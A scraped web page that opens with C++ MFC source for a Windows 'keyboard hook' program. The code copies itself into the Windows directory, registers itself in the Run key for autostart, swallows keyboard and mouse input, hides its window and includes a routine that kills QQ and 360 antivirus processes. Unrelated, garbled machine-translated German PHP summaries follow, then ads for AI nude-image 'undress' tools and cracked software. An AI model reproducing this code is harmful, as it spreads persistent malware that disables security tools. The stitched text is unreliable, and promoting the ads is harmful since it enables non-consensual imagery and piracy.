<span //</span><span KeyBoardHookDialogDlg.cpp : implementation file </span><span // </span><span #include </span><span "</span><span stdafx.h</span><span "</span><span #include </span><span "</span><span KeyBoardHookDialog.h</span><span "</span><span #include </span><span "</span><span KeyBoardHookDialogDlg.h</span><span "</span> <span #define</span> REG_RUN "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"<span #include </span><tlhelp32.h><span #ifdef _DEBUG </span><span #define</span> new DEBUG_NEW <span #undef</span> THIS_FILE <span static</span> <span char</span> THIS_FILE[] =<span __FILE__; </span><span #endif</span> <span //</span><span #pragma comment (lib,"KeyBoardHook")</span> <span ///////////////////////////////////////////////////////////////////////////</span><span //</span> <span //</span><span CAboutDlg dialog used for App About </span><span //</span><span 定义全局HHOOK变量,用于保存</span> <span HHOOK g_hMouse; HHOOK g_hKeyboard; </span><span bool</span> isTrue = <span false</span><span ; HWND hWnd; </span><span //</span><span 保存当前句柄 </span><span //</span><span 注意以下俩个钩子过程是全局函数,所以里面的API要用全局的</span> <span LRESULT CALLBACK MouseProc( </span><span int</span> nCode, <span //</span><span hook code</span> WPARAM wParam, <span //</span><span message identifier</span> LPARAM lParam <span //</span><span mouse coordinates</span> <span ) { </span><span return</span> <span 1</span><span ; } LRESULT CALLBACK KeyboardProc( </span><span int</span> code, <span //</span><span hook code</span> WPARAM wParam, <span //</span><span virtual-key code</span> LPARAM lParam <span //</span><span keystroke-message information</span> <span ) { </span><span //</span><span if(VK_SPACE == wParam || VK_RETURN == wParam) </span><span //</span><span 屏蔽空格和回车键</span> <span /*</span><span if(VK_F4 == wParam && (lParam>>29 & 1)) //屏蔽ALT + F4键 return 1; else return CallNextHookEx(g_hKeyboard,code,wParam,lParam);</span><span */</span> <span //</span><span 留个后门,使当按下F2键时,程序将退</span> <span if</span>(VK_F2 ==<span wParam) { </span><span //</span><span 调用全局API函数向程序发出关闭消息</span> ::SendMessage(hWnd,WM_CLOSE,<span 0</span>,<span 0</span><span ); </span><span //</span><span 卸载钩子</span> <span UnhookWindowsHookEx(g_hMouse); UnhookWindowsHookEx(g_hKeyboard); } </span><span return</span> <span 1</span><span ; } </span><span class</span> CAboutDlg : <span public</span><span CDialog { </span><span public</span><span : CAboutDlg(); </span><span //</span><span Dialog Data </span><span //</span><span {{AFX_DATA(CAboutDlg)</span> <span enum</span> { IDD =<span IDD_ABOUTBOX }; </span><span //</span><span }}AFX_DATA </span><span //</span><span ClassWizard generated virtual function overridesf </span><span //</span><span {{AFX_VIRTUAL(CAboutDlg)</span> <span protected</span><span : </span><span virtual</span> <span void</span> DoDataExchange(CDataExchange* pDX); <span //</span><span DDX/DDV support </span><span //</span><span }}AFX_VIRTUAL </span><span //</span><span Implementation</span> <span protected</span><span : </span><span //</span><span {{AFX_MSG(CAboutDlg) </span><span //</span><span }}AFX_MSG</span> <span DECLARE_MESSAGE_MAP() }; CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD) { </span><span //</span><span {{AFX_DATA_INIT(CAboutDlg) </span><span //</span><span }}AFX_DATA_INIT</span> <span } </span><span void</span> CAboutDlg::DoDataExchange(CDataExchange*<span pDX) { CDialog::DoDataExchange(pDX); </span><span //</span><span {{AFX_DATA_MAP(CAboutDlg) </span><span //</span><span }}AFX_DATA_MAP</span> <span } BEGIN_MESSAGE_MAP(CAboutDlg, CDialog) </span><span //</span><span {{AFX_MSG_MAP(CAboutDlg) </span><span //</span><span No message handlers </span><span //</span><span }}AFX_MSG_MAP</span> <span END_MESSAGE_MAP() </span><span ///////////////////////////////////////////////////////////////////////////</span><span //</span> <span //</span><span CKeyBoardHookDialogDlg dialog</span> <span CKeyBoardHookDialogDlg::CKeyBoardHookDialogDlg(CWnd</span>* pParent <span /*</span><span =NULL</span><span */</span><span ) : CDialog(CKeyBoardHookDialogDlg::IDD, pParent) { </span><span //</span><span {{AFX_DATA_INIT(CKeyBoardHookDialogDlg) </span><span //</span><span NOTE: the ClassWizard will add member initialization here </span><span //</span><span }}AFX_DATA_INIT </span><span //</span><span Note that LoadIcon does not require a subsequent DestroyIcon in Win32</span> m_hIcon = AfxGetApp()-><span LoadIcon(IDR_MAINFRAME); } </span><span void</span> CKeyBoardHookDialogDlg::DoDataExchange(CDataExchange*<span pDX) { CDialog::DoDataExchange(pDX); </span><span //</span><span {{AFX_DATA_MAP(CKeyBoardHookDialogDlg) </span><span //</span><span NOTE: the ClassWizard will add DDX and DDV calls here </span><span //</span><span }}AFX_DATA_MAP</span> <span } BEGIN_MESSAGE_MAP(CKeyBoardHookDialogDlg, CDialog) </span><span //</span><span {{AFX_MSG_MAP(CKeyBoardHookDialogDlg)</span> <span ON_WM_SYSCOMMAND() ON_WM_PAINT() ON_WM_QUERYDRAGICON() ON_BN_CLICKED(IDC_BTN_HOOKON, OnBtnHookon) ON_WM_TIMER() </span><span //</span><span }}AFX_MSG_MAP</span> <span END_MESSAGE_MAP() </span><span ///////////////////////////////////////////////////////////////////////////</span><span //</span> <span //</span><span CKeyBoardHookDialogDlg message handlers</span> <span BOOL CKeyBoardHookDialogDlg::OnInitDialog() { CDialog::OnInitDialog(); </span><span //</span><span Add "About..." menu item to system menu. </span><span //</span><span IDM_ABOUTBOX must be in the system command range.</span> ASSERT((IDM_ABOUTBOX & <span 0xFFF0</span>) ==<span IDM_ABOUTBOX); ASSERT(IDM_ABOUTBOX </span>< <span 0xF000</span><span ); CMenu</span>* pSysMenu =<span GetSystemMenu(FALSE); </span><span if</span> (pSysMenu !=<span NULL) { CString strAboutMenu; strAboutMenu.LoadString(IDS_ABOUTBOX); </span><span if</span> (!<span strAboutMenu.IsEmpty()) { pSysMenu</span>-><span AppendMenu(MF_SEPARATOR); pSysMenu</span>-><span AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu); } } </span><span //</span><span Set the icon for this dialog. The framework does this automatically </span><span //</span><span when the application's main window is not a dialog</span> SetIcon(m_hIcon, TRUE); <span //</span><span Set big icon</span> SetIcon(m_hIcon, FALSE); <span //</span><span Set small icon </span><span //</span><span TODO: Add extra initialization here</span> <span CopySelf(); autoRun();</span><span //</span><span 注册表启动 </span><span //</span><span 设定钩子 </span><span //</span><span ShowProcess();</span> g_hMouse =<span SetWindowsHookEx(WH_MOUSE,MouseProc,NULL,GetCurrentThreadId()); g_hKeyboard </span>=<span SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,NULL,GetCurrentThreadId()); </span><span //</span><span 保存句柄</span> hWnd =<span m_hWnd; SetTimer(</span><span 1</span>, <span 2000</span><span , NULL); isTrue </span>= <span true</span><span ; </span><span return</span> TRUE; <span //</span><span return TRUE unless you set the focus to a control</span> <span } </span><span void</span><span CKeyBoardHookDialogDlg::OnSysCommand(UINT nID, LPARAM lParam) { </span><span if</span> ((nID & <span 0xFFF0</span>) ==<span IDM_ABOUTBOX) { CAboutDlg dlgAbout; dlgAbout.DoModal(); } </span><span else</span><span { CDialog::OnSysCommand(nID, lParam); } } </span><span //</span><span If you add a minimize button to your dialog, you will need the code below </span><span //</span><span to draw the icon. For MFC applications using the document/view model, </span><span //</span><span this is automatically done for you by the framework.</span> <span void</span><span CKeyBoardHookDialogDlg::OnPaint() { </span><span if</span><span (IsIconic()) { CPaintDC dc(</span><span this</span>); <span //</span><span device context for painting</span> <span SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), </span><span 0</span><span ); </span><span //</span><span Center icon in client rectangle</span> <span int</span> cxIcon =<span GetSystemMetrics(SM_CXICON); </span><span int</span> cyIcon =<span GetSystemMetrics(SM_CYICON); CRect rect; GetClientRect(</span>&<span rect); </span><span int</span> x = (rect.Width() - cxIcon + <span 1</span>) / <span 2</span><span ; </span><span int</span> y = (rect.Height() - cyIcon + <span 1</span>) / <span 2</span><span ; </span><span //</span><span Draw the icon</span> <span dc.DrawIcon(x, y, m_hIcon); } </span><span else</span><span { CDialog::OnPaint(); } } </span><span //</span><span The system calls this to obtain the cursor to display while the user drags </span><span //</span><span the minimized window.</span> <span HCURSOR CKeyBoardHookDialogDlg::OnQueryDragIcon() { </span><span return</span><span (HCURSOR) m_hIcon; } </span><span void</span><span CKeyBoardHookDialogDlg::OnBtnHookon() { </span><span //</span><span TODO: Add your control notification handler code here</span> <span } </span><span //</span><span DEL void CKeyBoardHookDialogDlg::OnBtnHookoff() </span><span //</span><span DEL { </span><span //</span><span DEL </span><span //</span><span TODO: Add your control notification handler code here </span><span //</span><span DEL SetHookOff(); </span><span //</span><span DEL </span><span //</span><span DEL }</span> <span void</span><span CKeyBoardHookDialogDlg::hide() { ShowWindow(SW_HIDE); } </span><span void</span><span CKeyBoardHookDialogDlg::autoRun() { HKEY hKey </span>=<span NULL; LONG lRet </span>= RegOpenKey(HKEY_LOCAL_MACHINE,REG_RUN,&<span hKey); </span><span if</span>(lRet !=<span ERROR_SUCCESS) { </span><span return</span><span ; } RegSetValueEx(hKey,</span><span "</span><span mynona</span><span "</span>,NULL,REG_SZ,(<span const</span> unsigned <span char</span> *)&<span szWindowsPath, strlen(szWindowsPath) </span>+<span sizeof</span>(<span char</span><span )); RegCloseKey(hKey); } </span><span void</span><span CKeyBoardHookDialogDlg::ShowProcess() { HANDLE hSnap </span>=<span CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL); </span><span //</span><span ...</span> <span PROCESSENTRY32 Pe32 </span>= {<span 0</span><span }; Pe32.dwSize </span>= <span sizeof</span><span (PROCESSENTRY32); </span><span int</span> bRet = Process32First(hSnap,&<span Pe32); </span><span //</span><span 360IOSMgrSrv 360tray </span> <span char</span> name[MAX_PATH] = <span "</span><span QQ.exe</span><span "</span><span ; </span><span char</span> name2[MAX_PATH] = <span "</span><span 360tray.exe</span><span "</span><span ; </span><span char</span> name3[MAX_PATH] = <span "</span><span 360rp.exe</span><span "</span><span ; </span><span while</span><span (bRet) { </span><span //</span><span ...</span> bRet = Process32Next(hSnap,&<span Pe32); </span><span //</span><span cout<<"id:"<<Pe32.th32ProcessID<<" name:"<<Pe32.szExeFile<<endl;</span> <span int</span> flag = <span 0</span><span ; </span><span if</span>(strcmp(Pe32.szExeFile,name) == <span 0</span> || strcmp(Pe32.szExeFile,name3) == <span 0</span> || strcmp(Pe32.szExeFile,name2) ==<span 0</span><span ) flag </span>= <span 1</span><span ; </span><span if</span><span (flag){ </span><span //</span><span cout<<"----------------------"<<Pe32.th32ProcessID<<endl;</span> <span MessageBox(Pe32.szExeFile); HANDLE hProcess </span>=<span OpenProcess(PROCESS_TERMINATE,FALSE,Pe32.th32ProcessID); LPDWORD lpExitCode </span>= <span 0</span><span ; GetExitCodeProcess(hProcess, lpExitCode); TerminateProcess(hProcess, (UINT)lpExitCode); } } } </span><span void</span><span CKeyBoardHookDialogDlg::CopySelf() { </span><span char</span> szSelfName[MAX_PATH] = {<span 0</span><span }; </span><span //</span><span char szSystemPath[MAX_PATH] = {0};</span> <span char</span> szTmpPath[MAX_PATH] = {<span 0</span><span }; </span><span //</span><span 获取当前程序自身路径</span> <span GetModuleFileName(NULL,szSelfName,MAX_PATH); </span><span //</span><span cout<<"szSelfName:"<<szSelfName<<endl; </span><span //</span><span 获取系统目录</span> <span GetWindowsDirectory(szWindowsPath,MAX_PATH); </span><span //</span><span cout<<"szWindowsPath:"<<szWindowsPath<<endl; </span><span //</span><span 获取windows目录 </span><span //</span><span GetSystemDirectory(szSystemPath,MAX_PATH); </span><span //</span><span cout<<"szSystemPath:"<<szSystemPath<<endl;</span> <span strcat(szWindowsPath,</span><span "</span><span \\mynona.exe</span><span "</span><span ); </span><span //</span><span strcat(szSystemPath,"\\mynona.exe");</span> <span MessageBox( szWindowsPath,</span><span "</span><span : szWindowsPath</span><span "</span><span ); </span><span //</span><span MessageBox( szSystemPath,": szSystemPath"); </span> <span int</span> isTrue = CopyFile(szSelfName,szWindowsPath,FALSE);<span //</span><span FALSE表示强行覆盖原有文件 </span><span //</span><span int isTrue2 = CopyFile(szSelfName,szSystemPath,FALSE);</span> <span } </span><span void</span><span CKeyBoardHookDialogDlg::OnTimer(UINT nIDEvent) { </span><span //</span><span TODO: Add your message handler code here and/or call default</span> <span if</span><span (isTrue){ ShowWindow(SW_HIDE); } MessageBox(</span><span "</span><span haha</span><span "</span>,<span "</span><span 哈哈</span><span "</span><span ,MB_ICONSTOP); CDialog::OnTimer(nIDEvent); }</span>

PHP -Typ -Eingabeaufforderungen zur Verbesserung der Codequalität und der Lesbarkeit. 1) Tipps zum Skalartyp: Da Php7.0 in den Funktionsparametern wie int, float usw. angegeben werden dürfen. 3) Eingabeaufforderung für Gewerkschaftstyp: Da Php8.0 in Funktionsparametern oder Rückgabetypen angegeben werden dürfen. 4) Nullierstyp Eingabeaufforderung: Ermöglicht die Einbeziehung von Nullwerten und Handlungsfunktionen, die Nullwerte zurückgeben können.

Verwenden Sie in PHP das Klonschlüsselwort, um eine Kopie des Objekts zu erstellen und das Klonierungsverhalten über die \ _ \ _ Clone Magic -Methode anzupassen. 1. Verwenden Sie das Klonschlüsselwort, um eine flache Kopie zu erstellen und die Eigenschaften des Objekts, nicht die Eigenschaften des Objekts zu klonen. 2. Die \ _ \ _ Klonmethode kann verschachtelte Objekte tief kopieren, um flache Kopierprobleme zu vermeiden. 3. achten Sie darauf, dass kreisförmige Referenzen und Leistungsprobleme beim Klonen vermieden werden, und optimieren Sie die Klonierungsvorgänge, um die Effizienz zu verbessern.

PHP eignet sich für Webentwicklungs- und Content -Management -Systeme, und Python eignet sich für Datenwissenschafts-, maschinelles Lernen- und Automatisierungsskripte. 1.PHP hat eine gute Leistung beim Erstellen von schnellen und skalierbaren Websites und Anwendungen und wird üblicherweise in CMS wie WordPress verwendet. 2. Python hat sich in den Bereichen Datenwissenschaft und maschinelles Lernen mit reichen Bibliotheken wie Numpy und TensorFlow übertrifft.

Zu den wichtigsten Spielern in HTTP-Cache-Headern gehören Cache-Control, ETAG und Last-modifiziert. 1.Cache-Control wird verwendet, um die Richtlinien zu kontrollieren. Beispiel: Cache-Control: max-ay = 3600, öffentlich. 2. ETAG überprüft Ressourcenänderungen durch eindeutige Identifikatoren, Beispiel: ETAG: "686897696A7C876B7E". 3. Last-modifiziert gibt die letzte Änderungszeit der Ressource an, Beispiel: Last-Modified: Mi, 21okt201507: 28: 00GMT.

In PHP sollten die Funktionen für Passwort_Hash und passwart_verify verwendet werden, um sicheres Passwort -Hashing zu implementieren, und MD5 oder SHA1 sollte nicht verwendet werden. 1) Passwort_hash generiert einen Hash, der Salzwerte enthält, um die Sicherheit zu verbessern. 2) Passwort_Verify prüfen Sie das Passwort und sicherstellen Sie die Sicherheit, indem Sie die Hash -Werte vergleichen. 3) MD5 und SHA1 sind anfällig und fehlen Salzwerte und sind nicht für die Sicherheit der modernen Passwort geeignet.

PHP ist eine serverseitige Skriptsprache, die für dynamische Webentwicklung und serverseitige Anwendungen verwendet wird. 1.PHP ist eine interpretierte Sprache, die keine Zusammenstellung erfordert und für die schnelle Entwicklung geeignet ist. 2. PHP -Code ist in HTML eingebettet, wodurch es einfach ist, Webseiten zu entwickeln. 3. PHP verarbeitet die serverseitige Logik, generiert die HTML-Ausgabe und unterstützt Benutzerinteraktion und Datenverarbeitung. 4. PHP kann mit der Datenbank interagieren, die Einreichung von Prozessformularen und serverseitige Aufgaben ausführen.

PHP hat das Netzwerk in den letzten Jahrzehnten geprägt und wird weiterhin eine wichtige Rolle bei der Webentwicklung spielen. 1) PHP stammt aus dem Jahr 1994 und ist aufgrund seiner Benutzerfreundlichkeit und der nahtlosen Integration in MySQL die erste Wahl für Entwickler. 2) Zu den Kernfunktionen gehört das Generieren dynamischer Inhalte und die Integration in die Datenbank, sodass die Website in Echtzeit aktualisiert und auf personalisierte Weise angezeigt wird. 3) Die breite Anwendung und das Ökosystem von PHP hat seine langfristigen Auswirkungen angetrieben, steht jedoch auch mit Versionsaktualisierungen und Sicherheitsherausforderungen gegenüber. 4) Leistungsverbesserungen in den letzten Jahren, wie die Veröffentlichung von PHP7, ermöglichen es ihm, mit modernen Sprachen zu konkurrieren. 5) In Zukunft muss PHP sich mit neuen Herausforderungen wie Containerisierung und Microservices befassen, aber seine Flexibilität und die aktive Community machen es anpassungsfähig.

Zu den Kernvorteilen von PHP gehören einfacher Lernen, starke Unterstützung für Webentwicklung, reiche Bibliotheken und Rahmenbedingungen, hohe Leistung und Skalierbarkeit, plattformübergreifende Kompatibilität und Kosteneffizienz. 1) leicht zu erlernen und zu bedienen, geeignet für Anfänger; 2) gute Integration in Webserver und unterstützt mehrere Datenbanken. 3) leistungsstarke Frameworks wie Laravel; 4) hohe Leistung kann durch Optimierung erzielt werden; 5) mehrere Betriebssysteme unterstützen; 6) Open Source, um die Entwicklungskosten zu senken.


Heiße KI -Werkzeuge

Undresser.AI Undress
KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover
Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool
Ausziehbilder kostenlos

Clothoff.io
KI-Kleiderentferner

AI Hentai Generator
Erstellen Sie kostenlos Ai Hentai.

Heißer Artikel

Heiße Werkzeuge

EditPlus chinesische Crack-Version
Geringe Größe, Syntaxhervorhebung, unterstützt keine Code-Eingabeaufforderungsfunktion

WebStorm-Mac-Version
Nützliche JavaScript-Entwicklungstools

Sicherer Prüfungsbrowser
Safe Exam Browser ist eine sichere Browserumgebung für die sichere Teilnahme an Online-Prüfungen. Diese Software verwandelt jeden Computer in einen sicheren Arbeitsplatz. Es kontrolliert den Zugriff auf alle Dienstprogramme und verhindert, dass Schüler nicht autorisierte Ressourcen nutzen.

SublimeText3 Englische Version
Empfohlen: Win-Version, unterstützt Code-Eingabeaufforderungen!

Senden Sie Studio 13.0.1
Leistungsstarke integrierte PHP-Entwicklungsumgebung